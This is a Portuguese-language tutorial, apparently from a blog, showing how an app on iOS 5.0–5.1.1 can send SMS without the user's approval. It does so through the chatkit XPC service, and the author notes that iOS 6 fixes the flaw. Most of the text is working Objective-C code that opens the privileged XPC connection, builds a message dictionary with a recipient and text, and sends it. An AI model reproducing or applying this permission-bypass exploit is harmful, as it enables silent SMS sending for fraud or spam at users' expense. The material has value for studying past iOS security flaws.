Um dos sistemas de comunicação entre processos no MacOS é o XPC. Essa camada do sistema foi desenvolvida para comunicação entre processos com base na transferência de estruturas plist usando libSystem e launchd. De fato, é uma interface que permite gerenciar processos através da troca de estruturas como dicionários. Devido à hereditariedade, o iOS 5 também possui esse mecanismo.
Você já deve entender o que quero dizer com esta introdução. Sim, existem serviços de sistema no iOS que incluem ferramentas para comunicação XPC. E quero exemplificar o trabalho com um daemon para envio de SMS. No entanto, deve-se mencionar que essa capacidade é corrigida no iOS 6, mas é relevante para o iOS 5.0—5.1.1. Jailbreak, Private Framework e outras ferramentas ilegais não são necessárias para sua exploração. Somente o conjunto de arquivos de cabeçalho do diretório / usr / include / xpc / * é necessário.
Um dos elementos para o envio de SMS no iOS é o serviço do sistema com.apple.chatkit, cujas tarefas incluem geração, gerenciamento e envio de mensagens curtas de texto. Para facilitar o controle, ele possui a porta de comunicação disponível publicamente com.apple.chatkit.clientcomposeserver.xpc. Usando o subsistema XPC, você pode gerar e enviar mensagens sem a aprovação do usuário.
Bem, vamos tentar criar uma conexão.
xpc_connection_t myConnection;
dispatch_queue_t queue = dispatch_queue_create("com.apple.chatkit.clientcomposeserver.xpc", DISPATCH_QUEUE_CONCURRENT);
myConnection = xpc_connection_create_mach_service("com.apple.chatkit.clientcomposeserver.xpc", queue, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
Agora temos a conexão XPC myConnection configurada para o serviço de envio de SMS. No entanto, a configuração XPC prevê a criação de conexões suspensas - precisamos dar mais uma etapa para a ativação.
xpc_connection_set_event_handler(myConnection, ^(xpc_object_t event){
xpc_type_t xtype = xpc_get_type(event);
if(XPC_TYPE_ERROR == xtype)
{
NSLog(@"XPC sandbox connection error: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
}
// Always set an event handler. More on this later.
NSLog(@"Received a message event!");
});
xpc_connection_resume(myConnection);
A conexão está ativada. Nesse momento, o iOS 6 exibirá uma mensagem no log do telefone de que este tipo de comunicação é proibido. Agora precisamos gerar um dicionário semelhante ao xpc_dictionary com os dados necessários para o envio da mensagem.
NSArray *recipient = [NSArray arrayWithObjects:@"+7 (90*) 000-00-00", nil];
NSData *ser_rec = [NSPropertyListSerialization dataWithPropertyList:recipient format:200 options:0 error:NULL];
xpc_object_t mydict = xpc_dictionary_create(0, 0, 0);
xpc_dictionary_set_int64(mydict, "message-type", 0);
xpc_dictionary_set_data(mydict, "recipients", [ser_rec bytes], [ser_rec length]);
xpc_dictionary_set_string(mydict, "text", "hello from your application!");
Pouco resta: envie a mensagem para a porta XPC e verifique se ela foi entregue.
xpc_connection_send_message(myConnection, mydict);
xpc_connection_send_barrier(myConnection, ^{
NSLog(@"The message has been successfully delivered");
});
Isso é tudo. SMS enviado.